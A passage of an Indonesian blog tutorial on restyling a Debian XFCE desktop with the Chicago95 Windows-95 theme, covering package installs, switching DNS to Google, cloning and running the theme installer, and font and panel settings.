sekarang, kita bisa menggunakan user kita langsung untuk menginstall paket (neofetch):&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;apt&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;install&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;neofetch&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;727&quot; height=&quot;573&quot; src=&quot;/_astro/ss6.Dd5bd5kE_Z1qUbwz.webp&quot; /&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h2&gt;2. Mengganti DNS Lokal ke DNS Google&lt;a href=&quot;#2-mengganti-dns-lokal-ke-dns-google&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;DNS (&lt;em&gt;Domain Name System&lt;/em&gt;) secara singkat adalah sebuah sistem yang berfungsi untuk memberi referensi sebuah url (&lt;em&gt;uniform resource locator&lt;/em&gt;) ke alamat ip (&lt;em&gt;ip address&lt;/em&gt;).&lt;/p&gt;&lt;p&gt;Misalnya, kalau saya ketik sebuah url, &lt;code&gt;google.com&lt;/code&gt; atau &lt;code&gt;https://www.google.com/&lt;/code&gt;, maka DNS akan mengarahkan saya ke &lt;em&gt;ip address&lt;/em&gt; dari url tersebut, yaitu 216.239.38.120. Jadi, DNS Server
boleh diibaratkan seperti buku telefon atau kalau zaman sekarang seperti kontak, yang menghubungkan nama seseorang dengan nomor hp-nya.&lt;/p&gt;&lt;p&gt;Nah, berhubung DNS lokal biasanya merujuk pada DNS Server yang tersimpan di router, kadang-kadang, saya mengalami masalah tidak bisa &lt;em&gt;update / install software&lt;/em&gt; karena &lt;em&gt;repository&lt;/em&gt;
distro Linux yang saya gunakan (dalam konteks ini Debian) tidak terdaftar di DNS Server di router tersebut. Untuk mengantisipasi hal itu, kita akan gunakan DNS Server dari Google.&lt;/p&gt;&lt;p&gt;Ketikkan perintah berikut di terminal&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;echo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;nameserver 8.8.8.8&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;nameserver 8.8.4.4&quot;&lt;/span&gt;&lt;span&gt; | &lt;/span&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;tee&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;/etc/resolv.conf&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Penjelasan (singkat):&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;Perintah &lt;code&gt;echo &quot;nameserver 8.8.8.8 nameserver 8.8.4.4&quot;&lt;/code&gt; adalah perintah untuk menuliskan nameserver 8.8.8.8 dan 8.8.4.4, dimana 8.8.8.8 dan 8.8.4.4 adalah DNS Server Google.&lt;/li&gt;
&lt;li&gt;Perintah &lt;code&gt;sudo tee /etc/resolv.conf&lt;/code&gt; adalah perintah untuk memasukkan (&lt;em&gt;overwrite&lt;/em&gt;) tulisan tadi ke file /etc/resolv.conf, dimana file tersebut adalah file konfigurasi untuk DNS di Linux.
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;464&quot; height=&quot;281&quot; src=&quot;/_astro/ss7.CBpmJox6_ZT77vD.webp&quot; /&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;Nah, agar kalian tidak perlu mengulang perintah tersebut setiap kali login, kalian bisa menyimpan perintah tersebut ke sebuah &lt;em&gt;script file&lt;/em&gt;. Misalnya, saya menyimpan perintah tersebut ke file
yang saya beri nama &lt;code&gt;change.sh&lt;/code&gt;:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;touch&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;change.sh&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;echo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&apos;echo &quot;nameserver 8.8.8.8&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;nameserver 8.8.4.4&quot; | sudo tee /etc/resolv.conf&apos;&lt;/span&gt;&lt;span&gt; &amp;gt;&amp;gt; &lt;/span&gt;&lt;span&gt;change.sh&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;chmod&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;777&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;change.sh&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;571&quot; height=&quot;306&quot; src=&quot;/_astro/ss10.BOV1OT-y_ZN7BaQ.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Jadi, kalian hanya perlu menjalankan &lt;em&gt;script&lt;/em&gt; tersebut ketika login, tanpa harus menuliskan seluruh perintah sebelumnya di terminal.&lt;/p&gt;&lt;p&gt;Cara menjalankannya:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;./change.sh&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;537&quot; height=&quot;252&quot; src=&quot;/_astro/ss11.DFk4DHB1_Z1SI0Xt.webp&quot; /&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h2&gt;3. Menginstall git &amp;amp; Meng-&lt;em&gt;clone&lt;/em&gt; Repo&lt;a href=&quot;#3-menginstall-git--meng-clone-repo&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Git perlu diinstall untuk mengunduh script yang ada di Github repo berikut:&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/grassmunk/Chicago95&quot; target=&quot;_blank&quot;&gt;Chicago95 by Grassmunk&lt;/a&gt;&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;apt&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;install&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;git&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;862&quot; height=&quot;416&quot; src=&quot;/_astro/ss8.CEUT1-fs_Z25VuJy.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Setelah itu, kita &lt;em&gt;clone&lt;/em&gt; repo-nya&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;git&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;clone&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;https://github.com/grassmunk/Chicago95.git&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;856&quot; height=&quot;281&quot; src=&quot;/_astro/ss9.BmyK0XMg_Z1nfAjp.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Oke, persiapan selesai.&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h1&gt;Bagian Kedua: &lt;em&gt;Ricing Moment&lt;/em&gt;&lt;a href=&quot;#bagian-kedua-ricing-moment&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h1&gt;&lt;p&gt;Kita akan segera melakukan &lt;em&gt;ricing&lt;/em&gt; di tahap ini. Tapi, demi alasan kemudahan, saya akan bagi tahap ini ke dalam 2 bagian:&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;Menjalankan &lt;em&gt;script&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;(Beberapa) konfigurasi manual sebagai &lt;em&gt;finishing&lt;/em&gt;&lt;/li&gt;
&lt;/ol&gt;&lt;section&gt;&lt;h2&gt;1. Menjalankan &lt;em&gt;script&lt;/em&gt;&lt;a href=&quot;#1-menjalankan-script&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Masuk ke direktori / folder &lt;code&gt;Chicago95&lt;/code&gt; yang tadi sudah di-&lt;em&gt;clone&lt;/em&gt;.&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;cd&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;Chicago95&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Di sana, kita akan melihat ada file bernama &lt;code&gt;install.py&lt;/code&gt; yang berwarna hijau.
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;583&quot; height=&quot;512&quot; src=&quot;/_astro/ss12.BHmatKL-_ZoA4dp.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Jalankan &lt;em&gt;script&lt;/em&gt; tersebut.&lt;/p&gt;&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;786&quot; height=&quot;537&quot; src=&quot;/_astro/ss13.C0Y1F0nO_19gQoL.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Next…&lt;/p&gt;&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;776&quot; height=&quot;556&quot; src=&quot;/_astro/ss14.Bm9bNktA_Z4mhsF.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Next…&lt;/p&gt;&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;779&quot; height=&quot;575&quot; src=&quot;/_astro/ss15.4Ju_Yira_aoHxu.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Install, dan tunggu prosesnya hingga selesai…
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;1080&quot; height=&quot;567&quot; src=&quot;/_astro/gif1.BewNAdyN_25LV2p.webp&quot; /&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h2&gt;2. (Beberapa) Konfigurasi Manual sebagai &lt;em&gt;Finishing&lt;/em&gt;&lt;a href=&quot;#2-beberapa-konfigurasi-manual-sebagai-finishing&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Di fase ini, kita akan “rapih-rapih” hal-hal yang masih belum terlihat seperti seharusnya secara manual. Beberapa hal yang saya maksud tersebut, sebetulnya terlampir pada file
&lt;code&gt;post-install.txt&lt;/code&gt; yang muncul tepat setelah &lt;em&gt;script&lt;/em&gt; tadi selesai berjalan.
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;1426&quot; height=&quot;840&quot; src=&quot;/_astro/ss16.B7DoF4kj_17jW0W.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Tapi, biarkan saya membagi (lagi) tahap ini menjadi beberapa 4 bagian, yaitu:&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;Font&lt;/li&gt;
&lt;li&gt;Panel&lt;/li&gt;
&lt;li&gt;Wallpaper&lt;/li&gt;
&lt;li&gt;Terminal &amp;amp; Neofetch&lt;/li&gt;
&lt;/ol&gt;&lt;section&gt;&lt;h3&gt;a. Font&lt;a href=&quot;#a-font&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Kita akan men-&lt;em&gt;setting&lt;/em&gt; font &lt;strong&gt;Helvetica&lt;/strong&gt; sebagai &lt;em&gt;font&lt;/em&gt; default. Sayangnya, hal tersebut tidak bisa dilakukan sebelum kita men-&lt;em&gt;disable&lt;/em&gt; “&lt;em&gt;bitmap font block&lt;/em&gt;”-nya terlebih dahulu.&lt;/p&gt;&lt;p&gt;Jadi, kita dapat melakukannya dengan mengetikkan perintah berikut di terminal:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;mv&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;/etc/fonts/conf.d/70-no-bitmaps.conf&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;/etc/fonts/conf.d/70-no-bitmaps.conf.bak&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Setelahnya, kita bisa membuka &lt;strong&gt;Setting&lt;/strong&gt; -&amp;gt; &lt;strong&gt;Appearance&lt;/strong&gt; -&amp;gt; &lt;strong&gt;Font&lt;/strong&gt;
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;486&quot; height=&quot;636&quot; src=&quot;/_astro/ss17.DoihMzNN_1xyxex.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;dan ganti bagian &lt;em&gt;&lt;strong&gt;Default Font&lt;/strong&gt;&lt;/em&gt; dan &lt;em&gt;&lt;strong&gt;Default Monospace Font&lt;/strong&gt;&lt;/em&gt;-nya menjadi &lt;strong&gt;Helvetica Regular&lt;/strong&gt;.
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;498&quot; height=&quot;565&quot; src=&quot;/_astro/ss18.BPcQupNK_Z1KXzoD.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Di sub &lt;strong&gt;Rendering&lt;/strong&gt;, ceklis &lt;strong&gt;enable anti-aliasing&lt;/strong&gt; dan set opsi &lt;strong&gt;Hinting&lt;/strong&gt; ke &lt;strong&gt;Full&lt;/strong&gt;.
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;364&quot; height=&quot;133&quot; src=&quot;/_astro/ss19.CGMdALvk_1aCSq7.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Selesai.&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;b. Panel&lt;a href=&quot;#b-panel&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;section&gt;&lt;h4&gt;Menghapus Panel&lt;a href=&quot;#menghapus-panel&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Kalau diperhatikan, kita punya 2 panel, yaitu panel bagian atas dan panel di bagian bawah yang juga berfungsi sebagai &lt;em&gt;dock&lt;/em&gt;. So, di sini, kita akan memindahkan panel di atas ke bagian
bawah, dan menghapus panel kedua tersebut.&lt;/p&gt;&lt;p&gt;Berikut langkah-langkah untuk menghapus panel kedua:&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Klik kanan di salah satu panel, kemudian pilih &lt;strong&gt;Panel&lt;/strong&gt; -&amp;gt; &lt;strong&gt;Panel Preferences&lt;/strong&gt;.
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;340&quot; height=&quot;291&quot; src=&quot;/_astro/ss20.uqVPsh90_J2hMx.webp&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Pilih &lt;strong&gt;Panel 2&lt;/strong&gt; dan klik pada icon minus &lt;strong&gt;[ - ]&lt;/strong&gt;
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;413&quot; height=&quot;552&quot; src=&quot;/_astro/ss21.CVmj41U6_Z1BFLJJ.webp&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Pilih &lt;strong&gt;Remove&lt;/strong&gt; pada jendela konfirmasi yang muncul
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;553&quot; height=&quot;182&quot; src=&quot;/_astro/ss22.D8-jnaSQ_18rbtl.webp&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;Memindahkan Panel&lt;a href=&quot;#memindahkan-panel&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Untuk memindahkan panel dari bagian atas ke bagian bawah:&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Masih di jendela &lt;strong&gt;Panel Preferences&lt;/strong&gt;, &lt;em&gt;Un-ceklis&lt;/em&gt; pada &lt;strong&gt;Lock Panel&lt;/strong&gt;
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;401&quot; height=&quot;236&quot; src=&quot;/_astro/ss23.Bj5J7UXN_4ODIe.webp&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Kemudian, kita bisa menggeser panel tersebut dengan meng-klik terlebih dahulu pada bagian pojok kanan atau pojok kiri panel tersebut.
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;1080&quot; height=&quot;567&quot; src=&quot;/_astro/gif2.CiRSTaUo_Dm6wU.webp&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;Setelah selesai, jangan lupa diceklis kembali &lt;strong&gt;Lock Panel&lt;/strong&gt;-nya.&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;Membesarkan Ukuran Panel&lt;a href=&quot;#membesarkan-ukuran-panel&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Masih di menu &lt;strong&gt;Display&lt;/strong&gt; pada window &lt;strong&gt;Panel Preferences&lt;/strong&gt;, untuk membesarkan panel:&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;Ubah opsi &lt;strong&gt;Row size (pixels)&lt;/strong&gt; ke &lt;strong&gt;30&lt;/strong&gt;
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;395&quot; height=&quot;536&quot; src=&quot;/_astro/ss24.BHLIFjxp_Z26J2De.webp&quot; /&gt;&lt;/li&gt;
&lt;/ol&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;Membesarkan Ukuran Icon-icon di Panel&lt;a href=&quot;#membesarkan-ukuran-icon-icon-di-panel&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Pindah ke menu &lt;strong&gt;Appearance&lt;/strong&gt;, untuk membesarkan ukuran icon-icon di panel:&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;Ubah ukuran pada opsi &lt;strong&gt;Fixed icon size (pixels)&lt;/strong&gt; ke &lt;strong&gt;24&lt;/strong&gt;
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;398&quot; height=&quot;525&quot; src=&quot;/_astro/ss25.GMj2T2qI_Z2cdWLC.webp&quot; /&gt;&lt;/li&gt;
&lt;/ol&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;Menambahkan Launcher(s)&lt;a href=&quot;#menambahkan-launchers&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Di sini, kita akan menambahkan 4 launcher utama, yaitu&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;File Manager (Thunar)&lt;/li&gt;
&lt;li&gt;Text Editor (Mousepad)&lt;/li&gt;
&lt;li&gt;Web Browser (Firefox)&lt;/li&gt;
&lt;li&gt;Terminal Emulator (XFCE Terminal)&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;Caranya:&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Pindah ke menu &lt;strong&gt;Items&lt;/strong&gt; dan klik &lt;strong&gt;Add&lt;/strong&gt;
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;405&quot; height=&quot;539&quot; src=&quot;/_astro/ss26.59oCG-BD_15mgXw.webp&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Pilih &lt;strong&gt;Launcher&lt;/strong&gt; dan klik &lt;strong&gt;Add&lt;/strong&gt; sebanyak 4 kali, sehingga di bagian bawah window &lt;strong&gt;Items&lt;/strong&gt;, kita bisa melihat ada 4 launcher telah ditambahkan
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;859&quot; height=&quot;590&quot; src=&quot;/_astro/ss28.DA0Eb8B3_ZgATwd.webp&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Pilih launcher yang pertama, lalu klik pada &lt;strong&gt;icon edit&lt;/strong&gt; berikut
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;391&quot; height=&quot;528&quot; src=&quot;/_astro/ss29.BOuz2y9y_2fqqpz.webp&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Tambahkan &lt;strong&gt;File Manager (Thunar)&lt;/strong&gt; sebagai program yang akan dijalankan pada launcher tersebut.
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;1080&quot; height=&quot;628&quot; src=&quot;/_astro/gif3.BqDV82D1_1rURhI.webp&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Lakukan hal yang sama di launcher 2, 3, dan 4 untuk menambahkan &lt;strong&gt;Text Editor&lt;/strong&gt;, &lt;strong&gt;Web Browser&lt;/strong&gt;, dan &lt;strong&gt;Terminal Emulator&lt;/strong&gt;.
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;1080&quot; height=&quot;687&quot; src=&quot;/_astro/gif4.DDUsrkSr_Z1Ed6F4.webp&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;Sekarang, penampakan panel kita seharusnya akan seperti ini:
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;1919&quot; height=&quot;78&quot; src=&quot;/_astro/ss30.Cdhov4yH_xBarm.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Terlihat, keempat launcher yang sudah ditambahkan tadi terletak di bagian pojok kanan. Kita akan memindahkannya ke sebelah Start Menu.&lt;/p&gt;&lt;p&gt;Caranya:&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;Masih di menu &lt;strong&gt;Items&lt;/strong&gt;, kita pilih launcher yang akan kita pindahkan, dan klik pada icon &lt;strong&gt;Tanda Panah ke atas&lt;/strong&gt; yang berwarna biru muda sampai launcher tersebut tepat berada di bawah Start Menu.
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;1080&quot; height=&quot;1303&quot; src=&quot;/_astro/gif5.B1bBLKsM_146SSx.webp&quot; /&gt;&lt;/li&gt;
&lt;/ol&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;Mengedit Icon Start Menu&lt;a href=&quot;#mengedit-icon-start-menu&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Berikut adalah langkah-langkah mengedit Start Menu:&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;Pada menu &lt;strong&gt;Items&lt;/strong&gt; di window &lt;strong&gt;Panel Preferences&lt;/strong&gt;, pilih &lt;strong&gt;Application Menu&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Klik icon edit di bagian bawah&lt;/li&gt;
&lt;li&gt;Ganti &lt;strong&gt;Button Title&lt;/strong&gt; dari &lt;em&gt;Applications&lt;/em&gt; -&amp;gt; &lt;strong&gt;Start&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Klik pada logo di bagian &lt;strong&gt;Icon&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Pilih icon &lt;strong&gt;start-here&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;1080&quot; height=&quot;663&quot; src=&quot;/_astro/gif7.BamBkQJx_ZLPoQK.webp&quot; /&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;Etc&lt;a href=&quot;#etc&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Di Etc ini, saya akan merangkum beberapa &lt;em&gt;setting&lt;/em&gt; “perintilan” pada Panel yang menurut saya perlu dilakukan demi alasan kesempurnaan tampilan, yaitu&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;Menambahkan separator&lt;/li&gt;
&lt;li&gt;Menghapus workspace&lt;/li&gt;
&lt;li&gt;Mengubah timezone ke Jakarta&lt;/li&gt;
&lt;li&gt;Mengubah font clock&lt;/li&gt;
&lt;li&gt;Menghilangkan caption power (battery)&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;Saya sebut ini “rangkuman” karena kelima “perintilan” itu akan saya sajikan hanya dalam satu gif berikut:
